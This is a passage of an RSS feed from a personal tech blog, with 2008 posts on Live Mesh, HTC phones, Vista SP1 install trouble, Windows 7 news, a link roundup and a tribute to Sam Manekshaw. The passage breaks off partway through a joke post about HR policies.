&lt;li&gt;&lt;a
	
		href = &#34;http://www.cootek.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CooTek
	&lt;/span&gt;
&lt;/a&gt; - alternative keyboard for Windows Mobile phones.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.pandora.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pandora
	&lt;/span&gt;
&lt;/a&gt; - free Internet radio but only for the yanks. :sad:👎&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://research.microsoft.com/Pex/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pex (Program Exploration)
	&lt;/span&gt;
&lt;/a&gt; - a MSR project that from a parameterized unit test automatically produces a traditional unit test suite with high code coverage.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.gmap-pedometer.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Gmap Pedometer
	&lt;/span&gt;
&lt;/a&gt; - excellent if you are a runner or just want to find out how long your walk is. Thanks to the lovely Meenakshi for this. 😄&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>RIP - Sam Manekshaw</title>
      <link>/post/2008/07/rip-sam-manekshaw/</link>
      <pubDate>Fri, 04 Jul 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/07/rip-sam-manekshaw/</guid>
      <description>&lt;p&gt;I &lt;a
	
		href = &#34;http://www.guardian.co.uk/world/2008/jun/30/india&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		recently got to know
	&lt;/span&gt;
&lt;/a&gt; that &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Sam_Manekshaw&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Field Marshal Sam Manekshaw
	&lt;/span&gt;
&lt;/a&gt; passed away and the ripe age of 94; I am especially sad to hear that - I cannot explain it - might by my army roots. I think fellow Army brats might get it. May he rest in peace!&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5213&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Maybe time to upgrade to Firefox?</title>
      <link>/post/2008/06/maybe-time-to-upgrade-to-firefox/</link>
      <pubDate>Wed, 25 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/maybe-time-to-upgrade-to-firefox/</guid>
      <description>&lt;p&gt;This is not one of the &amp;ldquo;jokes&amp;rdquo;, but is one of the &amp;ldquo;real&amp;rdquo; ones I got. Maybe about time I got around to installing Firefox 3 then. :)&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/MaybetimetoupgradetoFirefox_CAA1/clip_image002.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/clip_image002_thumb.jpg&#34; alt=&#34;clip_image002&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5210&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Stuff I need to do to finish my assignment</title>
      <link>/post/2008/06/stuff-i-need-to-do-to-finish-my-assignment/</link>
      <pubDate>Wed, 25 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/stuff-i-need-to-do-to-finish-my-assignment/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/miracle3.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.sciencecartoonsplus.com/pages/gallery.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		(c) Science Cartoons
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5212&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Who would want to be king?</title>
      <link>/post/2008/06/who-would-want-to-be-king/</link>
      <pubDate>Wed, 25 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/who-would-want-to-be-king/</guid>
      <description>&lt;p&gt;I used to rule the world&lt;br&gt;
Seas would rise when I gave the word&lt;br&gt;
Now in the morning I sleep alone&lt;br&gt;
Sweep the streets I used to own&lt;/p&gt;
&lt;p&gt;I used to roll the dice&lt;br&gt;
Feel the fear in my enemies eyes&lt;br&gt;
Listen as the crowd would sing:&lt;br&gt;
&amp;ldquo;Now the old king is dead, long live the king!&amp;rdquo;&lt;/p&gt;
&lt;p&gt;One minute I held the key&lt;br&gt;
Next the walls were closed on me&lt;br&gt;
And I discovered that my castles stand&lt;br&gt;
Upon pillars of salt, and pillars of sand&lt;/p&gt;
&lt;p&gt;I hear Jerusalem bells a ringing&lt;br&gt;
Roman cavalry choirs are singing&lt;br&gt;
Be my mirror, my sword, my shield&lt;br&gt;
My missionaries in a foreign field&lt;br&gt;
For some reason I can&amp;rsquo;t explain&lt;br&gt;
Once you go there was never, never an honest word&lt;br&gt;
That was when I ruled the world&lt;/p&gt;
&lt;p&gt;It was the wicked and wild win&lt;br&gt;
Blew down the doors to let me in&lt;br&gt;
Shattered windows and the sound of drums&lt;br&gt;
People couldn&amp;rsquo;t believe what I&amp;rsquo;d become&lt;/p&gt;
&lt;p&gt;Revolutionaries wait&lt;br&gt;
For my head on a silver plate&lt;br&gt;
Just a puppet on a lonely string (Ooooh)&lt;br&gt;
Ah, who would ever want to be king?&lt;/p&gt;
&lt;p&gt;I hear Jerusalem bells a ringing&lt;br&gt;
Roman cavalry choirs are singing&lt;br&gt;
Be my mirror, my sword, and shield&lt;br&gt;
My missionaries in a foreign field&lt;br&gt;
For some reason I can&amp;rsquo;t explain&lt;br&gt;
I know Saint Peter won&amp;rsquo;t call my name&lt;br&gt;
Never an honest word&lt;br&gt;
But that was when I ruled the world&lt;/p&gt;
&lt;p&gt;Ooooh Ooooh Ooooh Ooooh Ooooh&lt;br&gt;
(repeat with chorus)&lt;/p&gt;
&lt;p&gt;I hear Jerusalem bells a ringing&lt;br&gt;
Roman cavalry choirs are singing&lt;br&gt;
Be my mirror, my sword, my shield&lt;br&gt;
My missionaries in a foreign field&lt;br&gt;
For some reason I can&amp;rsquo;t explain&lt;br&gt;
I know Saint Peter won&amp;rsquo;t call my name&lt;br&gt;
Never an honest word&lt;br&gt;
But that was when I ruled the world&lt;br&gt;
Oooooooh Oooooooh Oooooooh&lt;/p&gt;
&lt;p&gt;{&lt;em&gt;Kudos, if you figured it out - it is not that difficult and btw I love it and think  there are so many different levels to it and see some elements of this in everyday life&lt;/em&gt;}&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5211&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Live Mesh Update</title>
      <link>/post/2008/06/live-mesh-update/</link>
      <pubDate>Tue, 24 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/live-mesh-update/</guid>
      <description>&lt;p&gt;As I &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2008/06/18/live-mesh-tech-preview.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		said in the last post
	&lt;/span&gt;
&lt;/a&gt; I have been using Live Mesh for a few weeks now. Since then, Microsoft has released an update to Mesh; those of you who are using it and not updated it yet, I would suggest you do. It will restart the Windows shell once the update is finished, but I would recommend to save your work before you start the update and bounce Windows after that (even though it does not require it).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Live Mesh is now available in all English-speaking countries (not just the U.S.)&lt;/li&gt;
&lt;li&gt;Removed the User Account Control (UAC) requirement when installing and using Live Mesh with Windows Vista SP1&lt;/li&gt;
&lt;li&gt;Index for Desktop Search now works with Live Mesh folders&lt;/li&gt;
&lt;li&gt;Fixed bug where an underscore in a Hotmail account name returned an &amp;ldquo;Invalid Hotmail Address&amp;rdquo; error&lt;/li&gt;
&lt;li&gt;Fixed bug with Silverlight 2 Beta 2 failing to load in Silverlight Media View&lt;/li&gt;
&lt;li&gt;Fixed bug where the notifier tool-tip incorrectly indicated that Live Mesh Remote Desktop was unavailable for a computer running in non-admin mode&lt;/li&gt;
&lt;li&gt;Fixed bug where the Live Mesh folder icon was not displayed in the e-mail inviting someone to share a folder&lt;/li&gt;
&lt;li&gt;Fixed one of the bugs that caused Live Mesh to fail to start&lt;/li&gt;
&lt;li&gt;Fixed problem with Live Mesh returning errors when waking from sleep/hibernate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5208&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Live Mesh - Tech Preview</title>
      <link>/post/2008/06/live-mesh-tech-preview/</link>
      <pubDate>Tue, 17 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/live-mesh-tech-preview/</guid>
      <description>&lt;p&gt;You might have heard of the new &amp;ldquo;Cloud&amp;rdquo; service from Microsoft called &lt;a
	
		href = &#34;http://www.mesh.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Live Mesh
	&lt;/span&gt;
&lt;/a&gt;. You can get more details on the &lt;a
	
		href = &#34;http://blogs.msdn.com/livemesh/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		team&amp;rsquo;s blog
	&lt;/span&gt;
&lt;/a&gt; and a &lt;a
	
		href = &#34;http://channel9.msdn.com/Showpost.aspx?postid=399578&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		few videos
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While I have the Mesh bits installed for a few weeks I only recently started using it and was very handy when I wanted to get to some information on one of the Wiki&amp;rsquo;s running at home.&lt;/p&gt;
&lt;p&gt;I have some of the machines on my home network connected on the mesh now (see screen shot below) - they all are running Vista. It is quite useful and much easier to use than trying to RDP into various machines (assuming you can fwd the ports for various machines on the router). Another cool feature is I don&amp;rsquo;t need to have any bits installed to access them (say from a corporate environment). You only need a browser to login to the mesh and get to the machines (I only tried this is IE 7 btw).&lt;/p&gt;
&lt;p&gt;I have used a little bit of this so far and do find it quite useful; there are various elements of this that I have not really used yet (such as the sync. features).&lt;/p&gt;
&lt;p&gt;I wonder if there will be an interesting convergence between this and WHS at some point in the future?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;!-- ![image](images/image_thumb_3.png) --&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #13</title>
      <link>/post/2008/06/interesting-find-13/</link>
      <pubDate>Fri, 13 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/interesting-find-13/</guid>
      <description>&lt;p&gt;Pure coincidence that #13 is posted on Friday the 13th!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.goosh.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Goosh
	&lt;/span&gt;
&lt;/a&gt; - the Unofficial google shell (very cool)!&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.zamzar.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Zamzar
	&lt;/span&gt;
&lt;/a&gt; - free online file conversion.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.flashearth.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FlashEarth
	&lt;/span&gt;
&lt;/a&gt; - switch seamlessly between Google maps, Microsoft Virtual Earth, Yahoo!, etc.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.siteadvisor.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SiteAdvisor.com
	&lt;/span&gt;
&lt;/a&gt; - McAfee&amp;rsquo;s free offering that automatically alerts to Web sites that use or have links to spyware, adware, spam and other nasties.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://live.sysinternals.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Live SysInternals
	&lt;/span&gt;
&lt;/a&gt; - all of SysInternals on your figertips. e.g. in a DOS prompt enter: dir \\live.sysinternals.com\tools&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://support.microsoft.com/kb/940157&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Search 4.0
	&lt;/span&gt;
&lt;/a&gt; - new and improved? Only time will tell.&lt;/li&gt;
&lt;li&gt;TFS does not have any features for gathering requirements, but if this is something you prefer then check out &lt;a
	
		href = &#34;http://www.borland.com/us/products/caliber/rm.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Caliber RM
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://www.personifydesign.com/products/teamspec/teamspec.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TeamSpec
	&lt;/span&gt;
&lt;/a&gt;. Rosario though might have these out of the box - but only time will tell.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://kishored.blogspot.com/2007/08/biztalk-tools-and-guidelines.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BizTalk dev tools
	&lt;/span&gt;
&lt;/a&gt; - it is almost an year old, but still a very cool list of tools if you are using BizTalk.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.xobni.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Xobni
	&lt;/span&gt;
&lt;/a&gt; (mirror of Inbox in case you did not notice), is Outlook add-on which helps you deal with emails better.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.officelabs.com/projects/searchcommands/Pages/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Office Search Commands
	&lt;/span&gt;
&lt;/a&gt; - helps you find commands, options, wizards, and galleries in Office 2007 Word, Excel and PowerPoint; &lt;a
	
		href = &#34;http://www.officelabs.com/Lists/Posts/Post.aspx?ID=28&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		check this out
	&lt;/span&gt;
&lt;/a&gt; if you are wondering the rational behind it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5206&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Making your TyTn Stable</title>
      <link>/post/2008/06/making-your-tytn-stable/</link>
      <pubDate>Mon, 09 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/making-your-tytn-stable/</guid>
      <description>&lt;p&gt;Over the last few weeks I have heard a lot of people complain about the HTC TyTn (and more so these days with the new iPhone out now). But the phone itself is not bad - but if you are still running Windows Mobile 5 on it then sorry you don&amp;rsquo;t get the rights to complain - that OS itself has loads of issues. So, if you are like me with a TyTn I would suggest you get on a Windows Mobile 6.1 ROM and get some peace of mind. I am running the &lt;a
	
		href = &#34;http://forum.xda-developers.com/showthread.php?t=388523&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&amp;lsquo;Diamond Look-alike&amp;quot; Mobile 6.1 ROM
	&lt;/span&gt;
&lt;/a&gt; and it is rock solid - I highly recommend it. I have been running it for a few days and am very impressed.&lt;/p&gt;
&lt;p&gt;Of course, I was contemplating between &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2008/06/08/diamond-vs-diamond-pro-vs-tytn.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the Diamond and the Diamond Pro
	&lt;/span&gt;
&lt;/a&gt;, but now with the &lt;a
	
		href = &#34;http://www.apple.com/uk/iphone&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		iPhone 2.0
	&lt;/span&gt;
&lt;/a&gt; - the water is as clear as mud on which one I should pick! Sigh!&lt;/p&gt;
&lt;p&gt;On a somewhat related note, if you were thinking of getting a Diamond from &lt;a
	
		href = &#34;http://www.expansys.com/ft.aspx?k=110324&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Expansys
	&lt;/span&gt;
&lt;/a&gt;, I would hold off as all of their phones are imports and technically grey market imports which HTC does not and will not support. But despite Expansys, why would anyone pay so much more for a HTC Windows Mobile, when you get a similar spec&amp;rsquo;d iPhone for much less?&lt;/p&gt;
&lt;p&gt;Shame on Expansys for &lt;a
	
		href = &#34;http://www.expansys.com/p.aspx?i=163250&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		selling them as &amp;quot;UK&amp;quot; phones
	&lt;/span&gt;
&lt;/a&gt;.  👎&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Diamond vs. Diamond Pro vs. TyTn</title>
      <link>/post/2008/06/diamond-vs-diamond-pro-vs-tytn/</link>
      <pubDate>Sun, 08 Jun 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/06/diamond-vs-diamond-pro-vs-tytn/</guid>
      <description>&lt;p&gt;I currently have a &lt;a
	
		href = &#34;http://www.gsmarena.com/htc_tytn-1659.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HTC TyTn
	&lt;/span&gt;
&lt;/a&gt; and was thinking of getting either the new &lt;a
	
		href = &#34;http://www.engadgetmobile.com/2008/06/08/htc-touch-diamond-hands-on-up-close-and-personal-this-time&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HTC Diamond
	&lt;/span&gt;
&lt;/a&gt; or the &lt;a
	
		href = &#34;http://www.engadgetmobile.com/2008/06/04/the-htc-touch-pro&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HTC Diamond Pro
	&lt;/span&gt;
&lt;/a&gt; and was not sure how they stack up size wise; but that is there sizeasy.com come in the picture and help me see what the &lt;a
	
		href = &#34;http://www.sizeasy.com/page/size_comparison/13722-HTC-Touch-PRO-vs-HTC-Touch-Diamond-vs-HTC-TyTN&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		three of them look like together
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Diamond Pro is a little thinner and lighter than the TyTn, the question for me is do I really need the keyboard or can I live with something like the Diamond. Hmm &amp;hellip; decisions, decisions, decisions.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5202&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Beware of Installing Vista SP1!!</title>
      <link>/post/2008/05/beware-of-installing-vista-sp1/</link>
      <pubDate>Sat, 31 May 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/05/beware-of-installing-vista-sp1/</guid>
      <description>&lt;p&gt;If you got a fingerprint reader on your machine and are running Vista then think twice before installing SP1! About 7-8 months ago I got a new tablet (&lt;a
	
		href = &#34;http://shop.lenovo.com/SEUILibrary/controller/e/web/LenovoPortal/en_US/catalog.workflow:category.details?current-catalog-id=12F0696583E04D86B9B79B0FEC01C087&amp;amp;current-category-id=329576204C9E42289967E79E0E7C9A2D&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lenovo X61
	&lt;/span&gt;
&lt;/a&gt;) which is a pretty sweet machine with Vista pre-installed and all was well until I installed SP1 and then the thing won&amp;rsquo;t even boot.&lt;/p&gt;
&lt;p&gt;I tried to get into safe mode but no luck; I tried repairing - but no luck. I got in the repair console and tried to manually &amp;ldquo;fix&amp;rdquo; the MBR, but not luck. 😲 In the end I was screwed - royally - especially as I did not have a backup. I did have my machine being backed up by WHS which is what I was hoping would save me (more on that later).&lt;/p&gt;
&lt;p&gt;In the end I had to do a fresh install of Vista (I choose to use a slipstream version of Vista with SP1 already on it) and then install all the relevant Lenovo specific apps that I needed. Of course getting all the other dev apps and getting the data back on it was&lt;/p&gt;
&lt;p&gt;So, if you are running Vista and are thinking of SP1 here are the steps I would suggest you do:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make sure you got loads of time - don&amp;rsquo;t do this if you got a critical deadline the next day for which you need to use this machine.&lt;/li&gt;
&lt;li&gt;Backup your data&lt;/li&gt;
&lt;li&gt;Check your backup!&lt;/li&gt;
&lt;li&gt;In case you do need to do a fresh install Keep all relevant discs/iso&amp;rsquo;s at hand - don&amp;rsquo;t forget the drivers!&lt;/li&gt;
&lt;li&gt;Install the latest drivers for your fingerprint reader (check both the vendors and the manufacturers site).&lt;/li&gt;
&lt;li&gt;Install SP1 (while praying)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I must say that no other machine has a fingerprint reader and I did not have any issues installing SP1 on any of those. Also this post is specific for x32; I do not have x64 running anymore so can&amp;rsquo;t say how that will behave.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HTC Diamond Videos</title>
      <link>/post/2008/05/htc-diamond-videos/</link>
      <pubDate>Sat, 31 May 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/05/htc-diamond-videos/</guid>
      <description>&lt;p&gt;I am thinking of getting the HTC Diamond. If you are interested in its features then check out &lt;a
	
		href = &#34;http://www.coolsmartphone.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		these guys
	&lt;/span&gt;
&lt;/a&gt; who have had it and been using it for a week and have been posting a daily video on what works and what does not.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5198&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Switching Off Snap &#34;Preview&#34;</title>
      <link>/post/2008/05/switching-off-snap-preview/</link>
      <pubDate>Sat, 31 May 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/05/switching-off-snap-preview/</guid>
      <description>&lt;p&gt;I think &lt;a
	
		href = &#34;http://www.snap.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Snap Previews
	&lt;/span&gt;
&lt;/a&gt; were a good idea earlier but now for me it has just started getting irritating and for my blog I have switched it off.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Windows 7</title>
      <link>/post/2008/05/windows-7/</link>
      <pubDate>Sat, 31 May 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/05/windows-7/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/8.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;Wow! What a week - so much talk of the next version of Windows code-named &amp;ldquo;7&amp;rdquo;. Of course the multi-touch (see video below) is what everyone is talking about. Now, this is cool because it is the evolution of the &lt;a
	
		href = &#34;http://www.microsoft.com/surface/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Surface
	&lt;/span&gt;
&lt;/a&gt; which is scaled down to a screen.&lt;/p&gt;
&lt;p&gt;If you have not seen a Surface - it is quite big and works with five infrared cameras which picks up the gestures and then knows what to do with it (more on Surface at another time).&lt;/p&gt;
&lt;p&gt;But in addition to multi-touch we also know there is &lt;a
	
		href = &#34;http://windowsvistablog.com/blogs/windowsvista/archive/2008/05/27/communicating-windows-7.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		no new kernel
	&lt;/span&gt;
&lt;/a&gt; for Windows 7, instead Microsoft is refining the existing kernel. So if you were betting on &lt;a
	
		href = &#34;http://www.istartedsomething.com/20071019/eric-talk-demo-windows-7-minwin/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WinMin
	&lt;/span&gt;
&lt;/a&gt; (which BTW is only 25 mb!) being there then &lt;a
	
		href = &#34;http://shippingseven.blogspot.com/2008/05/windows-7-wont-have-compact-minwin.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		forget it
	&lt;/span&gt;
&lt;/a&gt;. Windows 7, will ship around &lt;a
	
		href = &#34;http://news.cnet.com/8301-13860_3-9951638-56.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		three years after Vista shipped
	&lt;/span&gt;
&lt;/a&gt; - in other words we should see it sometime next year.&lt;/p&gt;
&lt;p&gt;Of course you have got to have &lt;a
	
		href = &#34;http://www.crunchgear.com/2008/05/27/windows-7-screen-grabs-look-better-than-they-sound/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		screen shots
	&lt;/span&gt;
&lt;/a&gt; - there has been a lot of speculation if they are genuine or fake, but they sure do look cool. Check out the top left and right corners of the screen shot above and the way the task bar is layed out - nice! I can&amp;rsquo;t wait to get the first drop of this and see how it pans out! Given this is build on top of Vista hopefully we won&amp;rsquo;t have too many issues with drivers making early adoption of this more painless compared to Vista.&lt;/p&gt;
&lt;p&gt;Windows 7 first demo shown at D6:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5199&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New HR Policies</title>
      <link>/post/2008/05/new-hr-policies/</link>
      <pubDate>Mon, 12 May 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/05/new-hr-policies/</guid>
      <description>&lt;p&gt;Please be advised that there are NEW RULES and regulations implemented to raise the efficiency of the firm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transportation:&lt;/strong&gt;&lt;br&gt;
It is advised that you come to work driving a car according to your salary.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we see you driving a Honda, we assume you are doing well financially and therefore you do not need a raise.&lt;/li&gt;
&lt;li&gt;If you drive a 10 year old car or use public transportation, we assume you must have lots of savings therefore you do not need a raise.&lt;/li&gt;
&lt;li&gt;If you drive a pickup, you are right where you need to be and therefore you do not need a raise.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Annual Leave:&lt;/strong&gt;&lt;br&gt;
